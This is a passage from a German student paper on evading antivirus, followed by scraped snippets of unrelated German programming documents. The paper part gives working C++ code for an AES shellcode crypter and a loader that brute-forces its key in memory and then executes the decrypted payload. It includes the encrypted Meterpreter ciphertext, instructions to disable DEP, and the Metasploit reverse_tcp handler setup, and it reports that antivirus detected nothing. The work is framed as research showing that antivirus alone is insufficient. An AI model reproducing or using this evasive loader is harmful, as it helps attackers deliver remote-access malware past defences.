xbb \ xbb \ xbb \ xbb "; 50 // PASSWORD for encryption const string encoded_ key = " abd! hi"; 52 // CONFIG END 54 string enc_ AES_ ECB ( const string & enc_key, const string & plain_ text ){ 56 byte key [16]; string cipher_ text ; 58 StringSource ( enc_key, true, new HexDecoder ( new ArraySink ( key, 16) )); ECB_Mode <AES >:: Encryption aes_enc ; 60 aes_enc. SetKey (key, sizeof ( key )); try { 62 StringSource ( plain_text, true, new StreamTransformationFilter ( aes_enc, new HexEncoder ( new StringSink ( cipher_text )))); } 64 catch ( const Exception & e){ cerr << e. what () << endl ; 66 assert ( false ); } 68 return cipher_ text ; } Birk Kauer Seite 15

22 70 72 int _tmain ( int argc, _TCHAR * argv []) { 74 cout << strlen ( code ) << endl << endl << endl ; string cipher = enc_ AES_ ECB ( encoded_ key, code ); 76 ofstream myfile ; myfile. open (" cipher. txt "); 78 myfile << cipher ; myfile. close (); 80 cout << cipher << endl ; system (" pause "); 82 return 0; } Listing 12: AES Crypter Es ist wichtig, dass beim Shellcode am ende mindestens 4 \bb Bytes als Markerbytes hinzugefügt werden. Hierbei ist es auch wichtig auf das Padding des Shellcodes zu achten(shellcode mod 2 = 0 wäre korrekt für das Padding). Das Ergebnis des obigen Shellcodes (Key = abd!hi ) wird verschlüsselt so aussehen: 1 3D74A92207F3D2460D090D4D291F80F88D71FC6BD94BA901DF0038BF78D0E359EAE33C 747F3A0FC23683D2013A7F8B2FD8FC42AF3F7F73524D4FDF3A52DB8A168B4E358CFF7D 3 A67F67914E488C68F9DE9A571A907908C24DB309787A A85C8E848AB05 1ED81C9CD17E60ED467BB1B1ABED720CAB4ACEA3D93B0DB11E62D7E6EB83AF7D2D81 5 3D291DF BA146ECC0F10C26A37E1917A754B78B60A7E8E817BCAA1E14778C9F50 DD98D50A176060A69E5EF2C3B67BE8C39F3E4690ED689EBFA912727D314D1A10671E C589B84B6B57798F8A5759FBBD610E2A94194DD8A0CE76D6C53A8343E98D70E59D1 04C5FBE632A580139F53279C79D78A99AED6D D51D36EA75F0F89A1CC7523F FD5FD255BBBF12463A71A5969B542801E75A4A9A70173D C403209B8 227CB017ADE223FEBA64AE552CBDAC96F0 Listing 13: AES Verschlüsselt Der Ergebnis String wird nun in die Hauptanwendung kopiert um dort in der Laufzeit entschlüsselt zu werden AES Brute-Force in Memory Nun folgt das eigentliche Programm, welches den Shellcode im Hauptspeicher selbst knackt. Dies geht unter der Verwendung von einfach gewählten Schlüsseln sehr schnell. Je nach Wahl des Schlüssels und der Konfiguration des Brute-Force Algorithmus kann Birk Kauer Seite 16

23 es zwischen 1 Sekunde bis mehrere Stunden brauchen. Ein Zielwert sollte zwischen 30 Sekunden und 2 Minuten liegen. 2 # include " stdafx.h" 4 #if defined ( WIN32 ) # include < windows.h> 6 # endif 8 # include < iostream > # include < string > 10 # include " hex.h" # include " aes.h" 12 # include " filters.h" # include " modes.h" 14 # include " files.h" # include " integer.h" 16 using namespace CryptoPP ; 18 using namespace std ; // // CONFIG const int SHELLCODELENGTH = 330; // Length of the Shellcode 24 const int LENGTHOFPASSWORD = 7; // Length of the used password. Not Bigger than 7! const string charstouse = " abcdefghijklmnopqrstuvwxyz!?$ ß %&/() ="; // Every used Char in the Password must be inside of the String 26 // STRING FROM THE CRYPTER OR CIPHER. TXT 28 string crypt = "3 D74A92207F3D2460D090D4D291F80F88D71FC6BD94BA901DF003 8 BF78D0E359EAE33C747F3A0FC23683D2013A7F8B2FD8FC42AF3F7F73524D4FD 30 F3A52DB8A168B4E358CFF7DA67F67914E488C68F9DE9A571A907908C24DB A A85C8E848AB051ED81C9CD17E60ED467BB1B1ABED720C 32 AB4ACEA3D93B0DB11E62D7E6EB83AF7D2D813D291DF BA146ECC0F10 C26A37E1917A754B78B60A7E8E817BCAA1E14778C9F50DD98D50A176060A69E 34 5 EF2C3B67BE8C39F3E4690ED689EBFA912727D314D1A10671E C589B84 B6B57798F8A5759FBBD610E2A94194DD8A0CE76D6C53A8343E98D70E59D104C 36 5 FBE632A580139F53279C79D78A99AED6D D51D36EA75F0F89A1CC7523 F FD5FD255BBBF12463A71A5969B542801E75A4A9A70173D C403209B AD D3F46D09E0E5DCD6 "; Birk Kauer Seite 17

24 40 // // Global Vars DO NOT CHANGE 44 bool hit = false ; string encoded_ key ; 46 char aes [ SHELLCODELENGTH + 1]; 48 string dec_ AES_ ECB ( const string & dec_key, const string & cipher_ text ){ 50 byte key [16]; string plain_ text ; 52 try { StringSource ( dec_key, true, new HexDecoder ( new ArraySink ( key, 16) )); 54 } catch ( const Exception & e){ 56 cerr << e. what () << endl ; assert ( false ); 58 } ECB_Mode <AES >:: Decryption aes_dec ; 60 aes_dec. SetKey (key, sizeof ( key )); try { 62 string buffercipher ; HexDecoder * h1 = new HexDecoder ( new StringSink ( buffercipher )); 64 StringSource ( cipher_ text, true, h1); StringSource ( buffercipher, true, new StreamTransformationFilter ( aes_dec, new StringSink ( plain_text ))); 66 } catch ( const Exception & e){ 68 return " false "; } 70 return plain_ text ; } 72 void invoke (){ 74 void (* func )(); func = ( void (*)()) (& aes ); 76 func (); } 78 void Brute ( string prefix, string chars, int len ){ 80 int i = 0; Birk Kauer Seite 18

25 82 if ( prefix. length () < len ){ for (i = 0; i<len ; i ++) { 84 encoded_ key = ""; encoded_ key += prefix ; 86 encoded_ key += chars [ i]; string code2 = dec_ AES_ ECB ( encoded_ key, crypt ); 88 if ( code2!= " false "){ strncpy (aes, code2. c_str (), sizeof ( aes )); 90 aes [ sizeof ( aes ) - 1] = 0; if ( aes [ sizeof ( aes ) - 2] == \ xbb && aes [ sizeof ( aes ) - 3] == \ xbb ){ 92 hit = true ; cout << aes [ sizeof ( aes ) - 1] << endl ; 94 invoke (); return ; 96 } } 98 Brute ( prefix + chars [i], chars, len ); if ( hit == true ){ 100 return ; } 102 } 104 } } int _tmain ( int argc, _TCHAR * argv []) { 110 Brute ("", charstouse, LENGTHOFPASSWORD ); system (" pause "); 112 return 0; } Listing 14: AES Brute-Force Für den Kompilierung ist noch wichtig dem Compiler mitzugeben, dass er DEP nicht benutzt. Bei Visual Studio muss dem Linker das Kommando /NXCOMPAT[:NO] mit in die Befehlszeile gegeben werden. Nach dem Kompilierungsvorgang entsteht eine Windows executable. Birk Kauer Seite 19

26 4.3.4 Test Um die Executable zu testen wird auf einem Kali Linux System mit vorinstallierten Metasploit-Framework ein Meterpreter listener aufgesetzt. Dies wurde wie folgt aufgesetzt: Starten des Metasploit-Frameworks: Bash Command: # msfconsole Wechseln zum Exploit Handler: Bash Command: # use exploit/multi/handler Auswählen der Meterpreter payload: Bash Command: # set payload windows/meterpreter/reverse_tcp Setzen der eigenen IP: Bash Command: # set LHOST Setzen des Ports, auf welchen sich die Reverse Shell verbindet. Bash Command: # set LPORT 1337 Starten des Handlers Bash Command: # run Da alle Vorkehrungen auf dem zu empfangenden PC getroffen worden sind, wird nun die Windows Executable ausgeführt. Diese sollte nur ein Kommandozeilenfenster öffnen und nichts anzeigen. Durch die Wahl des Schlüssels wird sich der Shellcode je nach Leistungsfähigkeit des Systems nach ca. 50 Sekunden geknackt haben und verbindet sich mit dem Kali Linux System. Abbildung 3: Meterpreter Connection Somit wurde der Shellcode richtig entschlüsselt und führt sich auch problemlos aus. Birk Kauer Seite 20

27 Kapitel 5 Fazit Zuletzt wird getestet, wie sich die erzeugte Windows Executable gegen Antiviren Systeme schlägt nachdem der ursprüngliche Test bei 36 Erkennungen lag. Zur Erinnerung, VirusTotal verwendet Hauptsächlich Signatur Scanner. Sollten die Signatur Scanner nichts finden, so muss man noch auf lokal Installierten Systemen die Laufzeit Erkennung testen. Das Ergebnis des VirusTotal Tests: Abbildung 4: VirusTotal AES Diesmal wurden alle Signatur Scanner der Antiviren Systeme ausgetrickst und die erstellte Executable wurde durch nichts erkannt. Die Runtime Tests wurden noch mit Avira/Kaspersky und Bitdefender getestet aber auch hier wurde die Executable nicht als mögliche Bedrohung gesehen. 5 Fazit Aus dieser Ausarbeitung sollte sich herauskristallisieren, wie einfach es ist die aktuellsten Antiviren Systeme zu umgehen. Daher sollte ein Antiviren System niemals als einzige Sicherheitsmaßnahme verwendet werden. Antiviren Systeme sind sehr gut darin alle normalen Viren und sonstige Schadprogramme zu entdecken aber wenn es jemand darauf anlegt schauen diese meistens ins leere. Birk Kauer Seite 21

Übungen zur Vorlesung Systemsicherheit

Übungen zur Vorlesung Systemsicherheit Übungen zur Vorlesung Systemsicherheit Address Space Layout Randomization Tilo Müller, Reinhard Tartler, Michael Gernoth Lehrstuhl Informatik 1 + 4 19. Januar 2011 c (Lehrstuhl Informatik 1 + 4) Übungen

Mehr

Besprechung des 3. Übungsblattes MIMA-Interpreter MIMA-Aufgabe: Primzahltest Weitere MIMA-Aufgaben online

Besprechung des 3. Übungsblattes MIMA-Interpreter MIMA-Aufgabe: Primzahltest Weitere MIMA-Aufgaben online Themen heute Besprechung des 3. Übungsblattes MIMA-Interpreter MIMA-Aufgabe: Primzahltest Weitere MIMA-Aufgaben online Besprechung des 3. Übungsblattes Aufgabe 3 Speicherplätze für Mikrocode-Anweisungen

Mehr

GCC 3.x Stack Layout. Auswirkungen auf Stack-basierte Exploit-Techniken. Tobias Klein, 2003 tk@trapkit.de Version 1.0

GCC 3.x Stack Layout. Auswirkungen auf Stack-basierte Exploit-Techniken. Tobias Klein, 2003 tk@trapkit.de Version 1.0 1 GCC 3.x Stack Layout Auswirkungen auf Stack-basierte Exploit-Techniken Tobias Klein, 2003 tk@trapkit.de Version 1.0 2 Abstract Eine spezielle Eigenschaft des GNU C Compilers (GCC) der Version 3.x wirkt

Mehr

Objektorientiertes Programmieren für Ingenieure

Objektorientiertes Programmieren für Ingenieure Uwe Probst Objektorientiertes Programmieren für Ingenieure Anwendungen und Beispiele in C++ 18 2 Von C zu C++ 2.2.2 Referenzen und Funktionen Referenzen als Funktionsparameter Liefert eine Funktion einen

Mehr

Rechnerorganisation 2 TOY. Karl C. Posch. co1.ro_2003. Karl.Posch@iaik.tugraz.at 16.03.2011

Rechnerorganisation 2 TOY. Karl C. Posch. co1.ro_2003. Karl.Posch@iaik.tugraz.at 16.03.2011 Technische Universität Graz Institut tfür Angewandte Informationsverarbeitung und Kommunikationstechnologie Rechnerorganisation 2 TOY Karl C. Posch Karl.Posch@iaik.tugraz.at co1.ro_2003. 1 Ausblick. Erste

Mehr

Erste Schritte mit HG 2

Erste Schritte mit HG 2 Erste Schritte mit HG 2 Malte Ried FH-Gießen Version: 1.0 21. November 2003 Inhaltsverzeichnis 1 Einführung 2 2 Allgemeines 2 2.1 Koordinaten...................................... 2 2.2 Farben.........................................

Mehr

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung) Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else

Mehr

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) {

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) { Universität Mannheim Lehrstuhl für Praktische Informatik 1 Prof. Dr. Felix C. Freiling Dipl.-Inform. Martin Mink Dipl.-Inform. Thorsten Holz Vorlesung Angewandte IT-Sicherheit Herbstsemester 2006 Übung

Mehr

COMPILER & CODE ANALYSE. Eine Einführung in die Code Analyse auf Grundlage von Compilern und deren Optimierung. 1

COMPILER & CODE ANALYSE. Eine Einführung in die Code Analyse auf Grundlage von Compilern und deren Optimierung. 1 1 COMPILER & CODE ANALYSE Eine Einführung in die Code Analyse auf Grundlage von Compilern und deren Optimierung. 1 INHALT Einleitung Werkzeuge Compiler Aufbau Optimierung Beispiel Code Analyse Einführung

Mehr

Institut für Kryptographie und Sicherheit Jun.-Prof. Dr. D. Hofheinz. Stammvorlesung Sicherheit im Sommersemester 2013.

Institut für Kryptographie und Sicherheit Jun.-Prof. Dr. D. Hofheinz. Stammvorlesung Sicherheit im Sommersemester 2013. Institut für Kryptographie und Sicherheit Jun.-Prof. Dr. D. Hofheinz IKS Institut für Kryptographie und Sicherheit Stammvorlesung Sicherheit im Sommersemester 2013 Übungsblatt 2 Aufgabe 1. Wir wissen,

Mehr

Übung 9. Quellcode Strukturieren Rekursive Datenstrukturen Uebung 9

Übung 9. Quellcode Strukturieren Rekursive Datenstrukturen Uebung 9 Informatik I 2 Übung 9 Quellcode Strukturieren Rekursive Datenstrukturen Uebung 9 Quellcode Strukturieren Wenn alle Funktionen in einer Datei zusammengefasst sind wird es schnell unübersichtlich Mehrere

Mehr

Liste des (neu)griechischen Alphabets, sortiert nach Zeichen

Liste des (neu)griechischen Alphabets, sortiert nach Zeichen Liste des (neu)griechischen Alphabets, sortiert nach Zeichen A &Agr; x0391 iso-grk1 Griechischer Großbuchstabe Alpha Α x0391 xhtml-sym Griechischer Großbuchstabe Alpha a &agr; x03b1 iso-grk1 Griechischer

Mehr

Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging

Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging Das Beispiel orientiert sich am selben Code, der im Teil 1 der Serie verwendet wurde. Text Styles: Shell Prompt mit

Mehr

Methoden. von Objekten definiert werden, Methoden,, Zugriffsmethoden und Read-Only

Methoden. von Objekten definiert werden, Methoden,, Zugriffsmethoden und Read-Only Methoden Wie Konstruktoren und Destruktoren zum Auf- und Abbau von Objekten definiert werden, Wie inline-methoden Methoden,, Zugriffsmethoden und Read-Only Only- Methoden einzusetzen sind, Der this-pointer

Mehr

DAP2-Programmierpraktikum Einführung in C++ (Teil 1)

DAP2-Programmierpraktikum Einführung in C++ (Teil 1) DAP2-Programmierpraktikum Einführung in C++ (Teil 1) Carsten Gutwenger 11. April 2008 Lehrstuhl 11 Algorithm Engineering Fakultät für Informatik, TU Dortmund Überblick Mein erstes C++-Programm Namensräume

Mehr

Anleitung für zwei C++ - Openmp - Beispiele auf der NWZSuperdome

Anleitung für zwei C++ - Openmp - Beispiele auf der NWZSuperdome Anleitung für zwei C++ - Openmp - Beispiele auf der NWZSuperdome (Timo Heinrich, t_hein03@uni-muenster.de) Inhaltsverzeichnis: 0.Einleitung 1.Teil: Helloworldprogramm 1.1 Quellcode: Helloworld.cpp 1.2

Mehr

Bugs beim Kompilieren einer Betty-App: Vergleich ARM/Keil versus GCC

Bugs beim Kompilieren einer Betty-App: Vergleich ARM/Keil versus GCC Eine Betty-App ist eine Anwendung, die auf der Swissbetty von Pollin laufen soll. Sie verkehrt mit dem Grundprogramm BettyBase über Softwareinterrupts, also über SVC-Befehle. Da der GCC die nicht direkt

Mehr

B1 Stapelspeicher (stack)

B1 Stapelspeicher (stack) B1 Stapelspeicher (stack) Arbeitsweise des LIFO-Stapelspeichers Im Kapitel "Unterprogramme" wurde schon erwähnt, dass Unterprogramme einen so genannten Stapelspeicher (Kellerspeicher, Stapel, stack) benötigen

Mehr

AIT AG Leitzstraße 45 70469 Stuttgart Germany +49 (0)711-49066 - 430 Fax:...- 49066-440

AIT AG Leitzstraße 45 70469 Stuttgart Germany +49 (0)711-49066 - 430 Fax:...- 49066-440 Abb. oben zeigt ein mögliches Szenario Seite 1 von 5 Automatisierung mittels Skriptdatei Mit der.net Edition von Visual Localize (V4.X) wurde dem Benutzer die Möglichkeit eröffnet, wiederkehrende Arbeitsschritte

Mehr

Name: ES2 Klausur Thema: ARM 25.6.07. Name: Punkte: Note:

Name: ES2 Klausur Thema: ARM 25.6.07. Name: Punkte: Note: Name: Punkte: Note: Hinweise für das Lösen der Aufgaben: Zeit: 95 min. Name nicht vergessen! Geben Sie alle Blätter ab. Die Reihenfolge der Aufgaben ist unabhängig vom Schwierigkeitsgrad. Erlaubte Hilfsmittel

Mehr

Erstellung eines SharkNet Installers für Windows mit Inno Setup Compiler 5.4.2

Erstellung eines SharkNet Installers für Windows mit Inno Setup Compiler 5.4.2 Erstellung eines SharkNet Installers für Windows mit Inno Setup Compiler 5.4.2 1. Benötigte Software Zur Erstellung des Installers wird folgende Software benötigt. Es wird sich in dieser Dokumentation

Mehr

Funktionaler Aufbau eines Computers Untersuchung von Delphi-Compilaten

Funktionaler Aufbau eines Computers Untersuchung von Delphi-Compilaten Funktionaler Aufbau eines Computers Im Folgenden soll der Weg untersucht werden, wie ein Programm, das von einem Compiler/Interpreter in Maschinencode übertragen wurde, schließlich vom Prozessor abgearbeitet

Mehr

Übungspaket 19 Programmieren eigener Funktionen

Übungspaket 19 Programmieren eigener Funktionen Übungspaket 19 Programmieren eigener Funktionen Übungsziele: Skript: 1. Implementierung und Kodierung eigener Funktionen 2. Rekapitulation des Stack-Frames 3. Parameterübergabe mittels Stack und Stack-Frame

Mehr

Grundlagen. Kapitel 1

Grundlagen. Kapitel 1 Grundlagen Dieses Kapitel umfasst grundlegende Fragen und Aufgaben zur Erstellung von C++-Programmen. Hierzu zählen auch das Inkludieren von Header-Dateien Eine Header-Datei beinhaltet Informationen, die

Mehr

Klausur zur Vorlesung Grundlagen der C++-Programmierung

Klausur zur Vorlesung Grundlagen der C++-Programmierung Institut für Simulation und Graphik Magdeburg, 15.7.2013 Dr. Christian Rössl Klausur zur Vorlesung Grundlagen der C++-Programmierung Name, Vorname Studiengang Matrikelnummer Zusatzblätter Unterschriften

Mehr

Grundlagen der Verwendung von make

Grundlagen der Verwendung von make Kurzskript zum Thema: Grundlagen der Verwendung von make Stefan Junghans Gregor Gilka 16. November 2012 1 Einleitung In diesem Teilskript sollen die Grundlagen der Verwendung des Programmes make und der

Mehr

C++-Zusammenfassung. H. Schaudt. August 18, 2005

C++-Zusammenfassung. H. Schaudt. August 18, 2005 C++-Zusammenfassung H. Schaudt August 18, 2005 1 Datentypen 1.1 Grunddatentypen int (-32xxx bis +32xxx, implementerungs-abhängig) char -128 bis +128 float double bool (C++) int und char sind austauschbar:

Mehr

German Metasploit Framework Tutorial 16. August 2005 dav

German Metasploit Framework Tutorial 16. August 2005 dav German Metasploit Framework Tutorial 16. August 2005 dav Inhalt 1. Einleitung 2. Exploit Datenbank 2.1. Neue Exploits integrieren 3. Payload Datenbank 4. Konfiguration und Anwendungen eines Exploits 4.1.

Mehr

Autor: Michael Spahn Version: 1.0 1/10 Vertraulichkeit: öffentlich Status: Final Metaways Infosystems GmbH

Autor: Michael Spahn Version: 1.0 1/10 Vertraulichkeit: öffentlich Status: Final Metaways Infosystems GmbH Java Einleitung - Handout Kurzbeschreibung: Eine kleine Einführung in die Programmierung mit Java. Dokument: Autor: Michael Spahn Version 1.0 Status: Final Datum: 23.10.2012 Vertraulichkeit: öffentlich

Mehr

Binäre Bäume. 1. Allgemeines. 2. Funktionsweise. 2.1 Eintragen

Binäre Bäume. 1. Allgemeines. 2. Funktionsweise. 2.1 Eintragen Binäre Bäume 1. Allgemeines Binäre Bäume werden grundsätzlich verwendet, um Zahlen der Größe nach, oder Wörter dem Alphabet nach zu sortieren. Dem einfacheren Verständnis zu Liebe werde ich mich hier besonders

Mehr

Ziel, Inhalt. Programmieren in C++ Wir lernen wie man Funktionen oder Klassen einmal schreibt, so dass sie für verschiedene Datentypen verwendbar sind

Ziel, Inhalt. Programmieren in C++ Wir lernen wie man Funktionen oder Klassen einmal schreibt, so dass sie für verschiedene Datentypen verwendbar sind Templates und Containerklassen Ziel, Inhalt Wir lernen wie man Funktionen oder Klassen einmal schreibt, so dass sie für verschiedene Datentypen verwendbar sind Templates und Containerklassen 1 Ziel, Inhalt

Mehr

DLLs (dynamic loaded libraries) mit MingW erstellen

DLLs (dynamic loaded libraries) mit MingW erstellen DLLs (dynamic loaded libraries) mit MingW erstellen Autor: Michel D. Schmid Datum: April 2, 2009 Contents 1 Einführung 1 1.1 Open-Source Tools.......................................... 1 2 Beispiel 1:

Mehr

Kryptographische Verfahren. zur Datenübertragung im Internet. Patrick Schmid, Martin Sommer, Elvis Corbo

Kryptographische Verfahren. zur Datenübertragung im Internet. Patrick Schmid, Martin Sommer, Elvis Corbo Kryptographische Verfahren zur Datenübertragung im Internet Patrick Schmid, Martin Sommer, Elvis Corbo 1. Einführung Übersicht Grundlagen Verschlüsselungsarten Symmetrisch DES, AES Asymmetrisch RSA Hybrid

Mehr

2.4 Das erste C++-Programm *

2.4 Das erste C++-Programm * 2.4 Das erste C++-Programm * 11 2.4 Das erste C++-Programm * Den besten Lernerfolg erzielen Sie, wenn Sie alle Beispiele dieses Buchs selbst nachvollziehen. Sie können hierzu einen Compiler verwenden,

Mehr

Programmieren in C. Felder, Schleifen und Fließkommaarithmetik. Prof. Dr. Nikolaus Wulff

Programmieren in C. Felder, Schleifen und Fließkommaarithmetik. Prof. Dr. Nikolaus Wulff Programmieren in C Felder, Schleifen und Fließkommaarithmetik Prof. Dr. Nikolaus Wulff Addition von Zahlen 1 2 3 4 5 #include int main() { int x,y,z,sum; x = 1; y = 2; z = 4; sum = x + y + z;

Mehr

Karlsruher Institut für Technologie

Karlsruher Institut für Technologie Karlsruher Institut für Technologie Lehrstuhl für Programmierparadigmen Sprachtechnologie und Compiler WS 2010/2011 Dozent: Prof. Dr.-Ing. G. Snelting Übungsleiter: Matthias Braun Lösung zu Übungsblatt

Mehr

Grundlagen der Informatik. Prof. Dr. Stefan Enderle NTA Isny

Grundlagen der Informatik. Prof. Dr. Stefan Enderle NTA Isny Grundlagen der Informatik Prof. Dr. Stefan Enderle NTA Isny 2 Datenstrukturen 2.1 Einführung Syntax: Definition einer formalen Grammatik, um Regeln einer formalen Sprache (Programmiersprache) festzulegen.

Mehr

Programmierung eines GIMP-Plugin

Programmierung eines GIMP-Plugin Programmierung eines GIMP-Plugin Was ist GIMP? GNU Image Manipulation Program Bildbearbeitungssoftware Bildkonvertierer Open Source Erweiterbar durch Plugins Mögliche Programmiersprachen für Plugin-Entwicklung

Mehr

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.

Mehr

Die Mikroprogrammebene eines Rechners

Die Mikroprogrammebene eines Rechners Die Mikroprogrammebene eines Rechners Das Abarbeiten eines Arbeitszyklus eines einzelnen Befehls besteht selbst wieder aus verschiedenen Schritten, z.b. Befehl holen Befehl dekodieren Operanden holen etc.

Mehr

C++ Programmierung. Uwe Naumann. LuFG Informatik 12, RWTH Aachen University, Germany

C++ Programmierung. Uwe Naumann. LuFG Informatik 12, RWTH Aachen University, Germany C++ Programmierung Uwe Naumann LuFG Informatik 12, RWTH Aachen University, Germany Leave me alone world... Hauptprogramm int main(); return 0; Ausgabe auf Bildschrim #include std :: cout

Mehr

Wintersemester Maschinenbau und Kunststofftechnik. Informatik. Tobias Wolf http://informatik.swoke.de. Seite 1 von 18

Wintersemester Maschinenbau und Kunststofftechnik. Informatik. Tobias Wolf http://informatik.swoke.de. Seite 1 von 18 Kapitel 3 Datentypen und Variablen Seite 1 von 18 Datentypen - Einführung - Für jede Variable muss ein Datentyp festgelegt werden. - Hierdurch werden die Wertemenge und die verwendbaren Operatoren festgelegt.

Mehr

4D Server v12 64-bit Version BETA VERSION

4D Server v12 64-bit Version BETA VERSION 4D Server v12 64-bit Version BETA VERSION 4D Server v12 unterstützt jetzt das Windows 64-bit Betriebssystem. Hauptvorteil der 64-bit Technologie ist die rundum verbesserte Performance der Anwendungen und

Mehr

Primitive Datentypen

Primitive Datentypen Primitive Datentypen 2 Arten von Datentypen: primitive Datentypen (heute) Objekte (später) Java ist streng typisiert, d.h. für jede Variable muß angegeben werden was für eine Art von Wert sie aufnimmt.

Mehr

Instruktionssatz-Architektur

Instruktionssatz-Architektur Institut für Informatik 3: Rechnerarchitektur Friedrich-Alexander-Universität Erlangen-Nürnberg WS 2005/2006 Übersicht 1 Einleitung 2 Bestandteile der ISA 3 CISC / RISC Übersicht 1 Einleitung 2 Bestandteile

Mehr

TimeMachine. Time CGI. Version 1.5. Stand 04.12.2013. Dokument: time.odt. Berger EDV Service Tulbeckstr. 33 80339 München

TimeMachine. Time CGI. Version 1.5. Stand 04.12.2013. Dokument: time.odt. Berger EDV Service Tulbeckstr. 33 80339 München Time CGI Version 1.5 Stand 04.12.2013 TimeMachine Dokument: time.odt Berger EDV Service Tulbeckstr. 33 80339 München Fon +49 89 13945642 Mail rb@bergertime.de Versionsangaben Autor Version Datum Kommentar

Mehr

Informatik in der Elektrotechnik (BIE) Aufnahme des Übungsbetriebs

Informatik in der Elektrotechnik (BIE) Aufnahme des Übungsbetriebs Informatik in der Elektrotechnik (BIE) Arbeitsblatt 00 : Aufnahme des Übungsbetriebs Arbeiten mit DevC/C++ unter Windows XP Ziel der ersten Übung ist, ein einfaches C-Programm ( hallo.c ) unter XP mit

Mehr

Howto. Konfiguration eines Adobe Document Services

Howto. Konfiguration eines Adobe Document Services Howto Konfiguration eines Adobe Document Services (ADS) Inhaltsverzeichnis: 1 SYSTEMUMGEBUNG... 3 2 TECHNISCHE VERBINDUNGEN ZWISCHEN DEN SYSTEMEN... 3 2.1 PDF BASIERENDE FORMULARE IN DER ABAP UMGEBUNG...

Mehr

boost::asio-bibliothek 238

boost::asio-bibliothek 238 boost::asio-bibliothek 238 Die von Christopher M. Kohlhoff seit 2003 entwickelte Bibliothek bietet eine für C++ geeignete Schnittstelle auf Basis der BSD-Sockets. Das bedeutet, dass prinzipiell auch alle

Mehr

Inhalt Streams Eingabe / Ausgbe in C Dateizugriff in C Eingabe / Ausgabe in C++ Dateizugriff in C++ Error Handling

Inhalt Streams Eingabe / Ausgbe in C Dateizugriff in C Eingabe / Ausgabe in C++ Dateizugriff in C++ Error Handling Input / Output in C, C++ Inhalt Streams Eingabe / Ausgbe in C Dateizugriff in C Eingabe / Ausgabe in C++ Dateizugriff in C++ Error Handling Page 1 Ausgaben in C,C++ - generell Fuer C basierte Ausgaben:

Mehr

Technische Informatik II

Technische Informatik II Institut für Technische Informatik und Kommunikationsnetze Technische Informatik II Übung 1: Prozesse und Threads Aufgabe 1: Prozesse und Threads a) Wie verhält sich eine Applikation die aus mehreren Prozessen

Mehr

SICHERE DATENHALTUNG IN DER CLOUD VIA HANDY. Tuba Yapinti Abschlussvortrag der Bachelorarbeit Betreuer: Prof. Reinhardt, Dr.

SICHERE DATENHALTUNG IN DER CLOUD VIA HANDY. Tuba Yapinti Abschlussvortrag der Bachelorarbeit Betreuer: Prof. Reinhardt, Dr. SICHERE DATENHALTUNG IN DER CLOUD VIA HANDY 1 Tuba Yapinti Abschlussvortrag der Bachelorarbeit Betreuer: Prof. Reinhardt, Dr. Bernd Borchert GLIEDERUNG 1. Motivation Gründe für die Entwicklung Ideen für

Mehr

Wer in der Grundschule ein wenig aufgepasst hat, sollte in der Lage sein schriftlich eine Zahl durch eine zweite zu teilen.

Wer in der Grundschule ein wenig aufgepasst hat, sollte in der Lage sein schriftlich eine Zahl durch eine zweite zu teilen. Teilen binär Teil 1 - Vorzeichenlose Ganzzahlen ============ Irgendwann steht jeder Programmieren vor diesem Problem. Wie teile ich eine Binärzahl durch eine zweite? Wer in der Grundschule ein wenig aufgepasst

Mehr

Programmierkurs: Delphi: Einstieg

Programmierkurs: Delphi: Einstieg Seite 1 von 6 Programmierkurs: Delphi: Einstieg Aus Wikibooks Inhaltsverzeichnis 1 Einstieg Einstieg Was ist Delphi Borland Delphi ist eine RAD-Programmierumgebung von Borland. Sie basiert auf der Programmiersprache

Mehr

Funktionen und Parameter

Funktionen und Parameter Funktionen in C++ Funktionen und Parameter Wie in Java: Parameter sind lokale Variablen Argumente werden bei Aufruf zugewiesen Extras: Zeiger-Parameter für alle Typen: als Rückgabewerte um große Kopien

Mehr

Hinweise zur Verwendung von GEVITAS-Programmen unter 64-Bit-Betriebssystemen

Hinweise zur Verwendung von GEVITAS-Programmen unter 64-Bit-Betriebssystemen Stand: 01.04.2012 Inhalt: Inhalt Einleitung... 1 System-Dateien... 2 Registry... 3 Oracle... 5 BDE... 5 Probleme mit BDE und INI... 7 Keine Zugriffsrechte auf Netzlaufwerke... 8 Konfigurationsprogramm...

Mehr

Programmieren in C. Operatoren, Variablen und deren Sichtbarkeit. Prof. Dr. Nikolaus Wulff

Programmieren in C. Operatoren, Variablen und deren Sichtbarkeit. Prof. Dr. Nikolaus Wulff Programmieren in C Operatoren, Variablen und deren Sichtbarkeit Prof. Dr. Nikolaus Wulff Auswertung von Ausdrücken Was passiert wenn ein Ausdruck wie z. B. int y,x=2; y = ++x * x++; im Computer abgearbeitet

Mehr

Einführung in C++ Operatoren überladen (Klassen)

Einführung in C++ Operatoren überladen (Klassen) Einführung in C++ Operatoren überladen (Klassen) Operatoren überladen Die Überladung von Operatoren ermöglicht es, vorhandene Operatoren (+,-,...) auch auf Objekte von Klassen anzuwenden. Die meisten der

Mehr

Vergleich verschiedener OO-Programmiersprachen

Vergleich verschiedener OO-Programmiersprachen Vergleich verschiedener OO-Programmiersprachen - Schnellumstieg in 15 Minuten - C++ Java Visual C++ C# Programmbeispiel in Visual C++, C#, Java und C++ Dr. Ehlert, Juni 2012 1 Inhaltsverzeichnis 1. Problemstellung

Mehr

Tutoren Simon Andermatt Lukas Beck. Alexis Peter Thomas Ritter

